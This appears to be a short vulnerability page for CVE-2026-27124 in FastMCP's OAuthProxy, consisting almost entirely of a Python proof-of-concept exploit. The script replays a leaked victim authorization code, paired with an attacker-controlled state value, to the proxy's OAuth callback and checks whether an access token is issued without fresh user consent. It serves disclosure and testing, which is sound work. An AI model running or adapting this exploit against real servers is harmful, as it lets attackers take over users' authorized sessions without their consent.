CVE-2026-27124 FastMCP OAuthProxy权限混淆漏洞

# Conceptual Proof of Concept for CVE-2026-27124 # This script demonstrates the lack of consent validation in FastMCP OAuthProxy. # Attacker reuses a valid authorization code to gain access without fresh user consent. import requests def exploit_confused_deputy(proxy_url, victim_auth_code): """ Attempts to authenticate with the FastMCP OAuthProxy using a leaked or previously obtained authorization code without triggering a new consent screen. """ headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-27124-PoC-Client" } # The payload mimics the callback request from GitHub payload = { "code": victim_auth_code, "state": "attacker_controlled_state" } try: print(f"[*] Sending authorization code to {proxy_url}...") # In a vulnerable version (< 3.2.0), the proxy accepts the code # without verifying that the user explicitly approved this specific session. response = requests.post(proxy_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful!") if "access_token" in response.text or "session" in response.text: print("[+] Vulnerability confirmed: Access token granted without fresh consent.") print(f"[+] Response: {response.text}") else: print("[-] Response received but no token found. May require additional interaction.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Example configuration TARGET_PROXY = "http://vulnerable-fastmcp-server:8080/oauth/callback" # A valid code that the victim previously authorized (GitHub reuses codes or skips consent) LEAKED_CODE = "gho_ExampleLeakedAuthorizationCode123" exploit_confused_deputy(TARGET_PROXY, LEAKED_CODE)